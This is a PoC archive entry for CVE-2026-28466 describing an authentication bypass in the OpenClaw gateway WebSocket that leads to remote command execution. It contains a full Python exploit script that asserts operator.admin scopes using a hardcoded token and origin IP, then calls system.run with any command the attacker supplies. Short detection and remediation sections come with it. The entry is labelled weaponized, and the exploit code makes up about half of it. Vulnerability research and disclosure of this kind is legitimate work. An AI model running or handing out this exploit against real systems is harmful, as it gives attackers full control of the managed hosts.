PoC Archive PoC Archive
Critical CVE-2026-28466 unpatched

OpenClaw Gateway WebSocket Authentication Bypass RCE — CVE-2026-28466

by Orioning · 2026-07-05

Severity
Critical
CVE
CVE-2026-28466
Category
network
Affected product
OpenClaw gateway
Affected versions
< 2026.2.14
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherOrioning
CVE / AdvisoryCVE-2026-28466
Categorynetwork
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsopenclaw, websocket, rce, gateway, auth-bypass, node-invoke, command-injection
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenClaw gateway
Versions Affected< 2026.2.14
Language / PlatformPython 3 (PoC), targets a Node.js/Go-style WebSocket control gateway
Authentication RequiredNo (token is accepted without proper origin/scope validation)
Network Access RequiredYes

Summary

OpenClaw exposes a WebSocket control-plane gateway (/ws) used to manage connected nodes/agents. The gateway’s connect handshake accepts a client-supplied auth token and role/scope set without properly validating that the presented token is bound to the claimed operator role, allowing a remote, unauthenticated-in-practice client to complete the connect handshake with full operator.admin scopes. Once connected as an operator, the client can issue a node.invoke request calling the system.run command against a target node, which executes an arbitrary OS command and returns stdout/stderr/exit code over the same socket. The PoC automates the full chain: connect, solve the challenge/nonce, authenticate, and invoke system.run with an attacker-supplied command string.


Vulnerability Details

Root Cause

The gateway’s WebSocket connect handshake does not adequately verify that the supplied token/origin is authorized for the requested operator.admin scope before granting it, letting a client self-assert elevated scopes (operator.read, operator.write, operator.admin) that are then trusted for subsequent node.invoke calls.

Attack Vector

  1. Open a WebSocket connection to the OpenClaw gateway’s /ws endpoint.
  2. Wait for the connect.challenge event containing a nonce.
  3. Send a connect request declaring role: operator with full scopes (operator.read, operator.write, operator.admin) and an auth token.
  4. On successful connect response, send a node.invoke request targeting a known/guessed nodeId with command: system.run and an attacker-chosen shell command.
  5. Receive command stdout/stderr/exit code back over the socket — arbitrary remote code execution achieved.

Impact

Full remote code execution on any node managed by a vulnerable OpenClaw gateway, without legitimate prior authorization, giving an attacker complete control over the host running the invoked command.


Environment / Lab Setup

Target:   OpenClaw gateway < 2026.2.14 (reachable /ws WebSocket endpoint)
Attacker: Python 3 with the `websockets` package

Proof of Concept

PoC Script

See CVE-2026-28466.py in this folder.

1
python CVE-2026-28466.py -u 127.0.0.1:18789 -c whoami

The script connects to the gateway’s WebSocket endpoint, completes the challenge/connect handshake requesting operator-admin scopes, then sends a node.invoke request invoking system.run with the supplied command, printing the returned stdout/stderr/exit code.


Detection & Indicators of Compromise

Signs of compromise:

  • Gateway logs showing connect handshakes from unfamiliar origins/user agents completing with operator.admin scope.
  • node.invoke calls to system.run with idempotency keys not generated by known operator tooling.
  • Unexpected outbound process execution correlated with WebSocket gateway activity.

Remediation

ActionDetail
Primary fixUpgrade OpenClaw gateway to >= 2026.2.14 per GHSA-gv46-4xfq-jv58
Interim mitigationRestrict network access to the gateway /ws endpoint to trusted management networks only, and rotate/invalidate any long-lived operator tokens.

References


Notes

Mirrored from https://github.com/Orioning/CVE-2026-28466 on 2026-07-05. Functional websocket RCE script against OpenClaw gateway; note it has a hardcoded token/origin IP baked in (likely the author’s test target, not obfuscation).

CVE-2026-28466.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
import asyncio
import json
import time
import random
import string
import argparse
import sys
import websockets


CORRECT_CLIENT = {
    "id": "openclaw-control-ui",
    "version": "1.0.0",
    "platform": "web",
    "mode": "webchat"
}

async def main():
    '''
    官网公告:https://github.com/advisories/GHSA-gv46-4xfq-jv58
    CVE编号:CVE-2026-28466
    影响版本:OpenClaw<2026.2.14
    :return:
    '''
    parser = argparse.ArgumentParser(description="OpenClaw CVE-2026-28466 漏洞利用脚本",epilog="sample:\n"
               "python exploit.py -u 127.0.0.1:18789 -c whoami")
    parser.add_argument("-u", "--url", required=True, help="openclaw网关地址(如:127.0.0.1:18789)")
    parser.add_argument("-c", "--command", required=True, help="要执行的系统命令 (如:whoami)")
    args = parser.parse_args()

    WS_URL = 'ws://'+args.url+'/ws'
    COMMAND = args.command
    TOKEN = "ee01cd9b441d61ccc0dd49dc83b1f7262a97188e" # TOKEN
    NODE_ID = args.node_id="630bb7ede09ce7bf894f23c8efec80bb4e7afd5db6a9cadc739ba25eb98" # NODE_ID

    try:
        async with websockets.connect(WS_URL,origin="http://123.58.97.100:20034/") as websocket:

            async def send_request(req_id, method, params):
                req = {"type": "req", "id": req_id, "method": method, "params": params}
                await websocket.send(json.dumps(req))

            async def message_handler():
                async for message in websocket:
                    data = json.loads(message)
                    if data.get("type") == "event" and data.get("event") == "connect.challenge":
                        nonce = data["payload"]["nonce"]
                        print(f"nonce: {nonce}")
                        connect_params = {
                            "minProtocol": 3,
                            "maxProtocol": 3,
                            "client": CORRECT_CLIENT,
                            "role": "operator",
                            "scopes": ["operator.read", "operator.write", "operator.admin"],
                            "caps": [],
                            "commands": [],
                            "permissions": {},
                            "auth": {"token": TOKEN},
                            "locale": "en-US",
                            "userAgent": "Mozilla/5.0 (compatible; Python script)"
                        }
                        await send_request("1", "connect", connect_params)

                    elif data.get("type") == "res" and data.get("id") == "1":
                        if data.get("error"):
                            print(f"认证失败: {data['error']}")
                            return
                        idempotency_key = f"{int(time.time()*1000)}-{''.join(random.choices(string.ascii_lowercase + string.digits, k=8))}"
                        invoke_params = {
                            "nodeId": NODE_ID,
                            "command": "system.run",
                            "params": {
                                "command": [COMMAND],
                                "approved": True
                            },
                            "idempotencyKey": idempotency_key
                        }
                        await send_request("3", "node.invoke", invoke_params)

                    # 处理 node.invoke 响应
                    elif data.get("type") == "res" and data.get("id") == "3":
                        if data.get("error"):
                            print(f"命令执行失败: {data['error']}")
                        else:
                            result = data.get("result")
                            if isinstance(result, dict):
                                stdout = result.get("stdout", "").strip()
                                stderr = result.get("stderr", "").strip()
                                exit_code = result.get("exitCode")
                                print(f"命令执行结果: stdout={stdout}, stderr={stderr}, exitCode={exit_code}")
                            else:
                                print(data["payload"])
                        await websocket.close()
                        break
            await message_handler()
    except websockets.exceptions.ConnectionClosedOK:
        print("连接已正常关闭")
    except Exception as e:
        print(f"错误: {e}")
        sys.exit(1)

if __name__ == "__main__":
    asyncio.run(main())